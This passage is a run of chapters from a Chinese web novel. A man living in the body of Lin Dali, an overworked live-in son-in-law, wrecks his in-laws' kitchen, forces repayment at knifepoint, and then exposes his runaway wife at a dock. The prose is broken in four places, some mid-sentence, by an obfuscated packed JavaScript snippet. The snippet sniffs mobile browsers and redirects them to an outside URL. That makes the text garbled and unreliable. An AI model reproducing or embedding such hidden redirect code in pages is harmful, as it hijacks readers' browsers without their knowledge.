温云起打了一盆水,林继方飞快过来添了一瓢热水,又递了一张帕子。他顺手接过洗脸:“有事吗?” 白兰儿叹口气:“幺妹一大早就来找我,说是昨天你们吵架了。你把家里的鸡都……” 温云起打断她:“鸡是我抱回去的,也是我每天割草去喂,如今长大了我想卖,谁敢拦着?” “我不是这个意思。”白兰儿满目担忧,“我爹安逸了半辈子,他脾气不太好,你别生他的气。” “不可能。”温云起直言,“我是越想越亏,以后休想再让我帮白家人做事。” 白兰儿哑然:“我没有让你帮白家做事,同一屋檐下住这么多年,我不希望大家变成仇人。” “一直都是我在吃亏。”温云起语气加重,“不变成仇人,我就得继续吃亏。” 白兰儿沉默下来:“大力哥,不管你信不信,我是真心希望你好。以后你实在不愿意回去,就不回了吧。” 她面色黯然,转身离开。 温云起没有挽留。当初白桃出事时,白婷儿十六岁,还没议亲,白兰儿十四岁,其他姑娘更小。 当时白满平为了留住林大力这个长工,有意将二女白婷儿嫁给他,只是白婷儿不愿意,那时,又有镇上的人跟三女白兰儿提亲。 其实白兰儿不想嫁到镇上,她喜欢的是林大力。 只不过林大力过不去心里的坎,不管是白婷儿也好,白兰儿也罢,他都没想过要娶……主要是白桃脾气不好,当初嫁给他并不是心甘情愿,时不时就冷言冷语讥讽于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326976|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一天到晚没几句好话。 弄得林大力对女人都有阴影了,他完全不想再娶,只是想有一个家,想养大女儿。反正在哪儿都是住,他住惯了白家,加上白满平极力挽留,那段时间对他特别好,他就留了下来。 白满平并非不知道三女儿的心思,那时如果不是镇上的人对白兰儿提亲,他说不定也会撮合三女儿和大女婿。 但将女儿嫁到镇上对他的诱惑太大了,哪怕是白兰儿跪在地上求不嫁,白满平也没松口。 林大力这些年一直避着白兰儿……不知道白兰儿是不是没对他死心,反正,白兰儿那么多的姐妹,下一代的外甥和外甥女都不少,她独独愿意照顾白月,时不时就把人接到婆家小住。 * 温云起都起来了,也没有再回去睡,带着林继方一起上街,买了十几个包子……林大力特别能干,很能吃,已经好多年没有吃饱过。温云起一连吃了六个大包子,这才有了点饱意。 他把剩下的包子全部给了林继方,让其带回去。然后独自一人回了小河村。 小河村里,大部分人都在猫冬,反正都是在家歇着,众人都只吃两顿。快中午了,家家户户还有炊烟,这才准备做第一顿饭。 温云起进门时,白婷儿正在厨房忙活,她昨天是回来跟父亲商量搬回来住的事,今日已经将行李带了来。 此时吴德已经铺床扫地,白婷儿看见温云起进门,冷哼一声,扯着嗓子喊:“爹,林大力又来了,你快把他赶出去。” 白满平昨晚上被女婿气得半死,一晚上都没怎么睡,今早上女儿搬回来,院子里噼里啪啦,他想睡也睡不着。 这人睡不好,就容易烦躁。白满平听到这话,立刻开门出来,怒斥:“林大力,你给我滚出去!” 温云起扬眉:“让我滚?可以!我记得这木盆是我买的吧?” 他抓起脚边的木盆,顺手就将其扔出了篱笆墙。 盆子特别牢固,但再牢固它也只是木头拼的,落在地上后瞬间碎成了木头片片。 白满平:“……” “你再砸一个试试?” 温云起呵呵:“我买的东西,凭什么不能砸?” 他抓起柴刀,朝着打谷子的大斗就砍了过去。 大斗算是庄户人家的大件,这玩意在秋收时必备,自家没有就得去问别人家借。关键到了秋收,谁家都要收粮食,想要问别人借大斗,就得等人家忙完了再说。万一天公不作美,别人还没忙完就下起了大雨,粮食没收回来,那一年到头可就白忙了。 想做一个大斗,价钱不便宜,首先得有好木料,然后得有好木匠,也不是有钱就能做的。运气不好,四五年才能做上。 眼看林大力抬手就要毁大斗,不说白满平,就是白婷儿夫妻俩都着急起来。 “林大力,有话好好说。”吴德一边说话,就要上前阻止。 温云起拎着刀扭头看他:“我看见你们在搬行李,看样子是要回来住,跟谁商量了?” 吴德对上他眼神,有些发怵:“我跟爹说过了。” “这养家的人是我,合着没银子的时候知道问我要,买东西的时候知道要我出钱,有人要搬进来住就可以不用问了?”温云起呵呵,“想要我不砸东西,你们俩给我把行李拿走。我才是这白家的上门女婿,是白家的当家人,谁想进来住,必须问过我!” 5. 当牛做马的上门女婿 五 温云起一番话说得掷地有声。 这话没毛病,如果说女婿是半子,那上门女婿就真的是儿子。林大力当初抛弃一切入了白家,此后累死累活只为白家人,他也真正将自己当成了白家的一份子。 白满平以前也认同这话,但最近他改主意了。 招上门女婿,说到底是为了传宗接代。但林大力过门后,并没能为白家延续香火,只生了一个赔钱货。 原本白满平为女儿招上门女婿时就很不甘心,如果不是因为他岳家就在这村里,他还要靠着岳家立足,早就休妻另娶了。 原先他就有想过让二女婿回来住,只是一直不太好提,毕竟吴德算起来是他岳父的侄子,亲侄子!若是把吴德得罪了,那也等于把岳家也得罪了。 如今吴德自己提出带着妻儿搬回来住,白满平怎么可能拒绝? 行李都搬过来了,夫妻俩不打算再回吴家,等于他已经有了孙子! 吴德无言以对,他不是上门女婿,说不起硬气话,于是扭头看岳父。 白满平怒火冲天,呵斥道:“林大力,老子还没死呢,这院子轮不到你当家。今天我就是要留下吴德,你待如何?” 温云起语气决绝:“这院子有他没我,有我没他。” 白满平冷笑一声:“吴德一定要留,他的大儿子已经改姓了白,他们以后就是我白家人。你要是看不惯想走,没人拦着你。” 温云起满脸嘲讽:“这不是当年求着我养家的时候了,如今想用完就丢?” 白满平受不了女婿那种神情,向来乖觉的人居然也敢出言嘲讽他,简直是翻了天,他振振有词:“话别说得这么难听,如果不是我给屋子让你遮风挡雨,就凭你们林家,你这些年只有睡大街做乞丐的份……” 这简直是睁眼说瞎话,林大力一个壮劳力从年头忙到年尾,天不亮就出门,天黑了才回家。这家里的各种要用到的物件和柴米油盐,都是林大力在准备。 按理说,林大力经常去往镇上,所有的东西都是他买回来,不应该穿得这么破,这么冷的天自己却连床被子都没有。他完全可以为自己置办……但白家花银子很超前。 简单来说,就是银子还没赚到,这钱已经花掉了,一家子永远都在还债的路上,好不容易把债还清,家里又要置办各种物件。家中等着东西用,而林大力还没有把银子赚回来,这样的情形下,他手头一攒够银子赶紧拿去还债,或者是有点钱就拿去置办物件了,哪里还顾得上自己? 他为了白家,熬干了自己,简直是掏心掏肺,却得了这样一个结果。 上辈子看到白婷儿夫妻回来住,林大力心里不乐意,但他太忙了,也不愿意吵架。因此,没有这场吵闹。 “让我睡大街也行,等把这些年置办的东西全部带走或者是敲碎我才走。” 村里的每户人家,要属物件最多,那都是厨房的东西多。温云起抓着菜刀奔回厨房,捡了新买的碗筷直接就往外扔。 一摞又一摞,白家所有出嫁女带着男人和孩子回家,吃饭足有三十多人……这也不可能出去借碗筷。不说白家丢不起这个人,女婿们到了岳父家里没碗吃饭,也不好意思登门了啊。 整摞碗往外扔,场面很壮观,噼里啪啦碎了一地。就连药罐子,也被温云起直接砸了个稀巴烂。 吴德几次试图上前,都被飞出来的东西给砸退了。 温云起不光是砸大大小小的碗和盆,连菜刀都丢了出去。 刀擦着吴德的耳朵飞走,他耳朵受了伤,还流了血,那一瞬间吴德感觉自己的脖子都凉飕飕的,周身的冷汗直冒。这样的情形下,吴德哪里敢冲? 小命要紧啊! 温云起将能砸的东西都砸完了,最后抓起劈柴的刀,对着瓷制水缸狠狠一敲。 哗啦一声。 水缸破了个大洞,里面的水流了满地。 白满平看到满地的碗筷,又急又气,跳着脚的破口大骂。奈何便宜女婿就跟聋子似的,一句都听不见,他骂得越凶,女婿还砸得更欢快。 “林大力,那水缸可是花了半钱银子买的!你疯了不成?” “成”字还没落下,温云起嫌弃水缸不够破,又砸了一下……这只有一个洞,有专门补水缸的手艺人在各个村子里窜,只花二三十个钱就能补起来。 随着温云起又砸了两刀,水缸破成了片片,半缸水是一滴都没装住。 这一回,绝对补不了! 温云起颇为满意,拎着刀看向白满平。 白满平:“……” 瞧那样子,好像还在等着他夸一句砸得好。 “林大力,既然你砸完了,赶紧走吧!以后我们桥归桥,路归路。” 此时整个厨房一片狼藉。又是水,又是碎片,完全下不去脚。 林大力在这个院子里过了十几年,留下的痕迹可不止厨房。温云起听到这话,眼神一转,直接抱了灶前的一块光滑平整的四方石头。 这块石头是林大力从山里拿回来的磨刀石……磨刀石也并不那么好找,尤其是在家家都要磨刀的时候,有些人宁愿在院子里藏上五六七八块,也不愿意分给旁人。 白满平以为是便宜女婿临走时舍不得这块石头要带着离开,并没将抱石头这动作放在心上。 温云起抱起石头,冲着做饭的大锅狠狠一砸。 锅是铁制,看着是挺牢固,平时无论怎么敲都不变形。但这铁薄啊,哪里经得起石头狠砸? 石头落在锅中,砰地一声,紧接着石头连同被砸下来的锅底一起落入了灶中,溅起草灰一片。 白满平被那灰呛得直咳嗽,看着锅中的大洞,完全惊呆了。 “咳咳咳……咳咳咳……林大力,你敢!” 不管敢不敢,锅都已经砸了。 在村里,大家都有一些不成文的约定,比如不管两家怎么起龃龉,都不可以砸人家的锅。 锅是一家的根本,把锅砸了,这是不给人留活路的做法。但凡到了砸锅的地步,那都是结下了生死大仇。 谁家的锅要是被砸了,还不与砸锅的人动手,那是没种,一家子都会被人看不起。白满平反应过来后,捏着拳头冲了进去。 “林大力,我弄死你。” 温云起抓起了一把草灰,直接往他脸上一撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326977|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 厨房是泥地,沾了水后特别滑,白满平看不清脚下,又只顾着往前冲,不小心脚下一滑,整个人一头栽倒。 地上有不少碎片,白满平这一砸,刚好落到碎片上,忍不住惨叫一声,等他再抬起头来,已经满头满脸的血。 白婷儿傻了,大喊一声:“爹!你怎么样?” 她小心翼翼挤进厨房将父亲扶起,再抬起头看向温云起时,眼睛血红一片,犹如看仇人。 “林大力,我爹要是有个三长两短,我跟你没完。” “那是他自己没站稳,我可没有动手啊。离他八丈远呢,别什么破事都往我身上扯。”温云起声音拔高,“你分明就是想让我赔钱,做梦!以后我的银子就是拿来送给街上的乞丐,或者是扔到水里听响,都不会再给你们白家人哪怕一个子儿。” 吴德没想到一向听话老实的林大力发作起来竟然这么凶。他不敢上前与之硬扛,总觉得这会儿的林大力有点疯。 跟疯子打架……那不是找死么? 他有妻有子,还没活够呢,不想招惹这尊煞神,但这会儿岳父受了伤,妻子也和林大力吵了起来,他不动手帮忙有点说不过去,于是叉着腰质问:“月儿不是白家人吗?有本事,你连亲生女儿都不要管。” “我想管谁不想管谁那都是我的事。你算老几?自己家那一亩三分地都整不明白,还想管旁人,你也配?”温云起说起话来很不客气。 话是这么说,其实他不打算管白月。 白月跟其他的白家人一样,将他的付出当做理所当然,对他这个父亲从来也没有另眼相待过。林大力吃不吃饭,一天累不累,白月从不过问。 知道这不是自己的亲生女儿,林大力其实有松一口气,他不愿意承认自己养出的孩子是个白眼狼。不是亲生就好解释了,那孩子根本就不是他不会养,而是她从根子上就是歪的。 吴德真的很怕他,往后退了一步,不过,他也实在不想带着妻儿回家。 但凡有点出息的男人,都不愿意做上门女婿。吴德出现在这里,还愿意把大儿子改姓白,一是因为林家的伙食不错,别看白家住在村里也不比其他人家富裕,但白家从来不吃那些带糠的粗粮,也不和村里其他人家一样农闲时就吃两顿稀的……除非是白家人想喝点稀饭,不然,从来都是做干饭吃。 二来,吴德家中兄弟多,亲兄弟之间在各自还没有成亲时感情不错,但有了妻儿,都在为自己的小家打算,再加上还有媳妇儿在吹枕头风,久而久之,亲兄弟之间也互相看不顺眼。吴德三个儿子,大儿子都九岁了,一家五口也只有一间房住。 住得紧巴就算了,院子里人多,大家心里都有怨气,动不动就吵,吴德受够了! 而白家不同,原先人多,随着家中姑娘一个个出嫁,地方都腾出来了,住到白家,夫妻俩有单独的屋子,总算能把三个孩子撵去睡另一个屋。 “林大力,你到底要怎样才肯走?” 温云起本也不打算留,道:“把我这些年赚的银子还我,我即刻就走。” 白满平:“……”这不可能! 关键是还不起啊! 6. 当牛做马的上门女婿 六 白满平从来就不觉得自己需要给女婿什么补偿,当即振振有词:“这些年是我们白家收留你,是我们给你一个家。你还好意思问银子,说难听点,你若是不会赚钱,你不配做我白家的女婿。” 脸皮可真厚。 温云起跟这种人没什么好说的,他永远都有自己的一套道理,只凭一张嘴,不可能让他心服口服。 于是,温云起懒得与之争辩,揪起白婷儿直接往外扔。 白婷儿力气不如他,即便努力挣扎,还是被丢到了院子外。她察觉到众人暗地里打量的目光,气得脸红脖子粗:“林大力,这是我家,我想回就回,你凭什么撵我?爹,把这个混账赶出去,我们家没有这种不懂规矩的野蛮人!” 白满平也想赶女婿,可他哪儿有那力气? 别到时候人没撵出去,自己还丢了脸面。 不过,就这么认了也不行,显得自己太怂。,白满平大声吼:“林大力,你滚!我们家不会再收留你。” “我就不走,你待如何?”温云起呵呵,“我辛辛苦苦养活了你们全家,给那么多银子为各个妹妹置办了丰厚的嫁妆,任谁来评理,我都不应该被你们撵走。不光我要住在白家一辈子,以后那几个妹妹的婆家,我都是想去就去,她们若是不好好招待我,那就是没良心!这人活在世上,可以不要脸,但要是连良心都没了,不被雷劈,也早晚会遭报应。” 温云起语气强势,白满平被气得用手指着他的手指都颤抖不已。 吴德不想回家,还想讲道理,温云起不爱听,在他开口之前就把人丢了出去。 大门关上,白满平在院子里跳着脚破口大骂。 温云起只当听不见,去厨房里接着做饭。事实上,白幺妹已经在做饭了,就差起锅就能吃。 今日吃的是馍馍,配的是风肉和咸菜汤。温云起也不跟谁客气,不嫌弃饭菜粗糙,坐上桌连啃了四个。 白家做饭,一直都做得少,林大力胃口好,大部分时候都吃不饱。像这种馍馍,都是分好了一人一个。 温云起这一敞开了吃,几乎将一家人的饭菜都吃完了,也就是今日为白婷儿一家准备了饭菜,否则,等他吃完,父女俩只能饿肚子了。 白幺妹气得眼泪都要掉下来:“姐夫,你这么吃?你这么吃,家里的粮食怎么受得住?” 白满平冷笑:“就跟那圈里的猪差不多。” “猪可不会自己找粮食养活一家人。”温云起吃完最后一口,“那天天在家混吃等死的才是猪!” 白满平满脸愤怒,捏着拳头质问:“你说谁是猪?” “说你呢!”温云起面上满是嘲讽之色,“以前我把你们当家人,对你们处处迁就。如今我想法变了,你们在我心里就是个屁,你还别不高兴,若是不想看见我,容易!把我这些年在这个家里花的银子全部还来,我立即就走,绝对不磨蹭!” 白满平还不起银子,梗着脖子愤怒道:“当初可不是我求你来的。” “是你们求着我留下养家的,那些妹妹从我手头拿银子置办嫁妆时,话都说得很好听,但仔细论起来,她们的嫁妆本也不该问我讨要,该是你这个当爹的准备。”温云起一步步逼近,“花着我的银子,还对我如此不客气,你可真……是个男人呐!” 白满平很确定自己被嘲讽了,他忍无可忍,捏着拳头往上冲。 温云起揪住他胸口的衣衫,狠狠将人摁在地上:“你个天天躺在床上等着别人供养的废物,想打我,先去干几年力工再说。” 白满平简直要气疯了,他不明白为何一向听话的女婿突然变成了这样。骂又骂不过,打又打不过,好像除了听女婿的话,就找不到其他的应对。 难道这一家子以后都要被女婿压着过日子? 不! 白满平咬牙切齿:“我把银子还你。” 温云起立刻开始掰着指头算账,他不算这些年家里花了多少,只算自己赚了多少。十三年来,他起早贪黑,每年至少四两银子,后来这几年他生意做顺了后还不止。 正因为他赚得多,所以才能在给几个妹妹置办了嫁妆,又给家里买了这么多的物件后,还能养活这一家子吃不错的饭食。 “给我五十五两,咱们就一笔勾销。” 白满平:“……” 他哪里拿得出来? 如今他手头只有前些日子刚拿到的给幺妹置办嫁妆的银子,总共四两,他还想要昧下一点买酒喝来着,忍无可忍大吼道:“你怎么不去抢?” 温云起呵呵:“既然还不起,以后对我客气点。咱们还要在同一个屋檐下过好多年呢。” 他回了自己的屋子,将那一堆破烂全部丢到灶前,然后进了白满平的屋,从柜子里翻出了两床九成新的被子。 是的,林大力睡破烂被子,而白满平屋中还有几乎全新的被褥……当下的规矩,出嫁女在到了婆家的第一年,都要给娘家的双亲准备一床被子。除了白桃之外,白满平发嫁了四个女儿,其中只有白婷儿没有帮他做新被子,其余三个都有送被子回来。 被子在农家算是个大件,等闲不会置办,即便家里有多的,也不会随意拿出来糟蹋。 白满平压了多年舍不得用的被子,如今就便宜了温云起。 将床铺好,温云起却没想在家里多留,他受够了白家人,恨不能跟这一家子立刻撇清关系。他再次去了白满平的屋中,道:“我知道你想送我离开,既然你还不起所有的银子,可以先还一部分。” 都说债多不愁,白满平确实很想送女婿离开,但这送不走,他干脆就放弃了,如今是一个子儿也不想再给女婿。实在是女婿性情大变,想也知道以后再想要问女婿拿银子没这么容易。 温云起直接去厨房里摸了菜刀:“你就说给不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326978|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给吧!” 白满平:“……” 都动刀了,他哪敢不给呀? 他哆哆嗦嗦送上了小女儿的嫁妆银子。 林大力确实在几天之前给了白满平四两银子,凑足这些银子,他其实有松一口气,将家中最后一个幺妹送出门,日后他只需要赚钱养岳父,再给女儿攒点嫁妆就行。 温云起拿到了四两银子,却并不满意,提着刀上前一步。 白满平主动又给二两七钱,此外还有一大把铜板。他捧着铜板,眼睛恨得血红,语气却特别软,可怜兮兮道:“全部都在这里,真的一个铜板也没有了。” 温云起终于满意,将所有的银子收起,回房早早睡下。 白幺妹不肯做晚饭,温云起也懒得吃。翌日天还没亮,他就起身去了镇上。 启程去运安码头前,林大力跟林大春说了一声。 兄弟俩这些年逢年过节有来往,但平时真的很少坐在一起说话,多年不亲近,这突然开始常常见面,都不知道说什么。 此处距离运安码头有一百多里,村里人一般不爱出远门,也不敢去码头。 码头给人的印象就是鱼龙混杂,乱七八糟什么人都有。老实胆小的人去了,只有被人欺负的份。 不过,对于胆大的人来说,码头上处处是机遇,温云起到的第一天,还没有找到白桃,先撮合了一桩生意,说服一位外地客商买了码头上一批受潮了的货物,并且,在他的游说下,价钱并不低贱。 温云起当然不会坑那位买货的客商,人家也不傻,他给出了个主意,保证客商能赚钱。 送走了客商,船东家分了他二十五两银子。 手里有银心不慌,温云起找了个地方住下,接下来一天内他到处乱窜,打听白桃的下落。 * 白桃和谭二井在此处光明正大做了夫妻,这整个运安码头来来往往有大几千人,一个村里的人都没有。两人在此十多年,没有遇上过熟人。 温云起很快就得了消息。 谭二井在码头上做力工,因为他在此多年,算是老人,一般干的都是轻省一些的活计。有时候帮人牵个线,还能赚点轻松银子。 而白桃也没闲着,带着两个女儿开了个面摊子。 在码头这种人来人往的地方摆摊,哪怕没有任何一个熟客登门,只卖生客,生意也不错。 做吃食生意好了确实能赚钱,但从早忙到晚,尤其客人多的时候,忙得连抬头的时间都没有。 “一碗面,加肉片。” 白桃听着这声音有些熟悉,还以为是哪个熟客,随口答:“加肉十二文……” 话未说完,她忽然想起来不光声音熟悉,这说话的腔调也很熟悉,分明是镇上人独有。她顿时吓一跳,下意识抬头去看,当看到面前站着的人是林大力时,白桃脸色骤变,惊得整个人往后退了一步。 7. 当牛做马的上门女婿 七 他怎么会出现在这里? 这一瞬间,白桃心中没有丝毫他乡遇故知的欢喜,只余满腔的慌乱和惶恐。 林大力找来了,肯定是知道她没死。接下来会不会将她假死嫁人生女的事传开? 如果传开了,她以后还怎么见人? 白桃脑中闪过了许多念头,其实只过了一瞬,做生意这么多年,她早已练就了见人说人话,见鬼说鬼话的本事,且她有几分急智,又能收敛自脸上神情,心里还惶恐不安,面上已然笑着答应:“好,客人去坐会儿,这就来。” 她下意识夹起声音,完全是换了声调,不是熟人,绝对听不出来她原先的声音。 温云起走到后面坐下,一个九岁左右的小姑娘抓着抹布过来收拾桌子,动作麻利。 小姑娘不知道温云起的身份,只将他当做普通客人,擦完了桌子,还给倒了一碗粗茶。 这种茶叶很粗糙,纯粹是最后一茬叶子,不管老叶新叶,全部一起撸了炒制,因为撸得干净,里面还有不少茶梗。十几文钱就可以买一大包,很受这些小摊主的追捧。 虽说茶叶不好,但是不收钱呀,客人要是嫌弃,可以不喝。但话又说回来了,愿意在小摊子上吃东西的人都是想省钱的,这免费的茶除了不好看,味道差点,也不是不解渴,不喝白不喝嘛。 温云起端起茶碗,忽然出声:“小姑娘,你站一站。 ” 小姑娘叫谭招儿,闻言顿时戒备起来。 这码头上鱼龙混杂,来这里吃面的也不都是好人,确实有些男人借着酒醉开玩笑,甚至是对她动手动脚。 谭招儿没有上前,离开的脚步更快了:“面稍后就好,客人等一等。” 她已经决定不再过来送面,一会儿让母亲来送。 温云起笑着道:“你别害怕,我没有恶意,也不是想欺负你,就是觉得你很面善。看你这五官轮廓,跟我女儿很像,不知道的,会以为你们是亲生的姐妹。” 他一笑起来,眉眼温和,加上穿着长衫,显得斯文。 谭招儿确实没有在他身上发现那种让人恶心的感觉,听到这话后就放下心来:“啊,真的像吗?您的女儿几岁了?” 温云起故意道:“十一岁,大姑娘了。可惜她命苦,从小就没有娘。” 谭招儿在这码头上见惯了人情冷暖,插草标自卖自身的大人孩子都见过不少,心肠早已冷硬,不过,面上却做出一副可惜的模样:“客人应该是个很好的父亲,有您在,想来姐姐也不会吃多少苦。” “你这话很对。”温云起叹息,“我为这个女儿那真的是掏心掏肺,生怕她吃不好穿不暖,还怕她被欺负……但我这个做爹的再尽心,到底是不如孩子她娘在身边。” 谭招儿随口问:“伯母是病了?” 温云起张口就来:“落下山崖没了。忒狠心,那时孩子才两岁,不知道她怎么舍得下?” 这话没毛病,有些人年纪轻轻走了,活着的人就会说他狠心丢下孩子或者老娘不管。但事实上,生老病死根本就不由自己作主。 背着二人煮面的白桃听到这话,一颗心险些从胸腔里跳出来。她总觉得林大力这话意有所指……这些年她经常想起大女儿,就怕大女儿在自己看不见的地方受苦受罪。 她希望招儿多问几句,但当着林大力的面,又不好嘱咐孩子。 谭招儿只是个九岁大的孩子,不知道这话该怎么答。 温云起自顾自打量她:“哎呦,真的是越看越像,你跟我女儿十来岁的时候简直是一模一样。你爹娘是谁?该不会跟我有亲吧?也可能是跟我孩子的娘有亲,他们是外地搬来的。你爹姓什么?” 谭招儿并不知道爹娘做的那些事,谭二井在这这码头上有几分名声,她张口就来:“我爹姓谭,有些人叫他二井。” 温云起一副恍然模样:“哎呀,我们村里也有一个叫谭二井出门就不回家,该不会是同一个人吧?你娘姓什么?” 谭招儿刚要答话,白桃率先道:“招儿,过来端面。” 她方才是怕女儿说错话,慌乱之下出声打断。因为过于慌张,也没来得及掩饰声音。 温云起没有一见面就戳穿,就是为了让她恐惧害怕,此时他霍然扭头,几步上前一把抓住白桃的胳膊。 “你没死?” 他嗓门很大,立刻引来了旁人的瞩目,他却不管不顾,扭头看了一眼谭招儿:“你重新嫁人了,还生女儿了?” 白桃和谭二井早就商量好了,如果被人戳穿了身份,就说她当年落下山崖被水冲到了这里,失忆后才嫁给谭二井。 此时她心里虽然慌,但这些解释在心里惦记了多年,她立即道:“你是谁?我不认识你,别在此拉拉扯扯,你再不放手,我叫人了啊。” 一边说话,一边挣扎,还扯着嗓子喊:“这里有登徒子欺负人……” 白桃在此摆摊多年,认识周围的摊主,眼看有人抓住她不放,好多人都围拢过来。 温云起比她嗓门更大:“这是我媳妇,十多年前落下山崖,当时她亲妹妹在旁边,回来跟我说人没了。结果人出现在这里,孩子都九岁了,这是个骗子。” “你才是骗子。”白桃振振有词,“他故意这么说,就是为了带我走,回头肯定会把我卖到大山里去。大家快帮我抓他。” “这有管事的人吗?”温云起张口大声道:“或者谁帮我报个官,不白跑,事成之后我给一两银子的酬劳。” 白桃愕然,她没想到那么老实的林大力居然会有胆子报官。 码头上的钱很好挣,但一两银子也不是小数,当场就有人动了心。白桃没刻意往人群里看,眼角余光就发现至少有三个人往衙门所在的方向跑去。 “不能报官!” “凭什么不能?”温云起质问,“你分明就是与人私奔了。要不然,怎么可能这么快就生下孩子?你别说不是亲生,家里的闺女和这孩子长相几乎一模一样,绝对是你所生。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326979|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无论白桃心里设想了多少次碰见林大力之后的应对,真到了这一刻,她脑子发慌,心怦怦直跳,慌乱得不行。 “你别胡说,我没有嫁给你,我都不知道自己是谁……我是从水里被人救起来的,不信你可以去问。” 夫妻俩有未雨绸缪,白桃当年刚到此处不久,就对外放出了自己失忆被人所救的消息。 码头上的人来来往往,大多都是过客,但也有人在此住了十多年。住久一点的人,都知道白桃失过忆。 当即就有旁边的摊主帮着解释:“她确实忘了不少事,都不记得自己嫁过人生过孩子,你先放手,有话好好说,不要拉拉扯扯……” “我不相信她失忆的话!”温云起愤然,情绪激动不已,“白桃,如果你不想和我过日子,可以明说。我林大力也不是那没脸没皮的人,你自己丢下一摊子走了,我这些年在家里帮你养父亲,为你几个妹妹送嫁……他们拿我当长工使唤,没银子了都问我要,无论缺什么都让我买。原本我是想全了这份夫妻情分,好好替你照顾你的家人。结果呢,你没死,跑到外地跟奸夫逍遥,居然还生下了女儿。我林大力就那么像冤大头?我就那么低贱,活该被你和白家欺负?” 他越说,情绪越激动,嗓门也越来越大。 这些原本就是林大力心里的怨气,只是一直没机会说出来,温云起今日就吼了个痛快! 许多人扯着嗓子说话时,旁人会听不清。但是温云起吐字清晰,确保周围人都能听见。 这番话一出,哪怕是听说过白桃失忆的人都沉默了。失忆之说,那是白桃自己跟人解释的,到底有没有忘事,那只有她自己心里最清楚。 如果白桃真的是与人私奔,他们这些所谓知道白桃失忆过的人帮着解释……不说缺不缺德,事情闹到公堂上,搞不好还要被入罪。 谭招儿有些被吓着,第一个反应就是去找父亲。 随着时间过去,白桃很害怕衙门的人下一瞬就跳出来,她狠狠一把甩开温云起的手,转身就跑。 她钻入人群之中,就像鱼儿入海,很快就不见了。 温云起能把人抓住,他是故意放手的,此时大声质问:“既然不是私奔,你跑什么?” 谭招儿站在原地,慌得六神无主。刚想跑,手已经被人抓住。 温云起扯着她:“你爹娘感情如何?有没有吵过架?” 谭招儿不知该怎么答,她自小和母亲就没有分开过,今日看似母亲受了委屈,被人给欺负了,但她隐约发现母亲在心虚。 若是没做错事,为何要心虚? 既然母亲心虚,那多半是不清白。谭招儿下意识想维护自己的爹娘,一时间只摇头不说话。 她不说话,但边上还有许多人。他们不知白桃失忆是真是假,但夫妻俩感情不错却是所有人都知道的事。 温云起继续质问:“你娘对外说自己失忆,她除了失忆之外,可还有其他的毛病?” 没有! 8. 当牛做马的上门女婿 八 不光是谭招儿知道母亲没病,就是附近的摊主,都知道白桃没有头痛之类的旧疾。 白桃一人带两个闺女在这儿做生意,无论刮风下雨都在摆摊,只要有客,她能天不亮就起,一直忙活到深夜。哪里像是有病的样子? 众人面面相觑,愈发笃定了白桃是与人私奔。 她分明就是与情郎私奔后在这人生地不熟的地方像夫妻一样过起了日子,还生了两个女儿,失忆不过是她为了另嫁扯的遮羞布罢了。 温云起紧紧抓着谭招儿,语气不容拒绝:“带我去你家!” 谭招儿不愿意,但她家住在哪儿也不是秘密,周围的摊主都知道。 白桃没有立刻赶回家中,而是下意识去码头找谭二井。而且越往码头走,周围的人越多,她更好躲藏。 林大力追来得突然,她得找到谭二井商量应对之策。 就方才林大力那一通大喊大叫,二人在此多年积攒下来的名声算是毁了。若是不想被人指指点点,最好是离开此处,找一个陌生的地方重新开始。 谭二井正搬货,这个东家出手很大方,搬这批货只需要半天,但却能拿到一两银子。看见白桃慌慌张张过来,他知道是出了事。 “谭郎,林大力来了,方才到我摊子上吃面,一开始没有认出我,但他认出了招儿……” 这比她预料的情形还要更差,林大力很可能因此怀疑起白月的身世。 她慌乱不已,语速飞快地把事情说了一遍。 因为说得快,吐字不清,谭二井一开始没听清楚,第二遍时才明白她说了什么。他也有点慌,两人无媒苟合的事情暴露,必须得离开此处……他很舍不得自己多年积攒下来的人脉和名声,下意识问:“他怎么会在这里?” 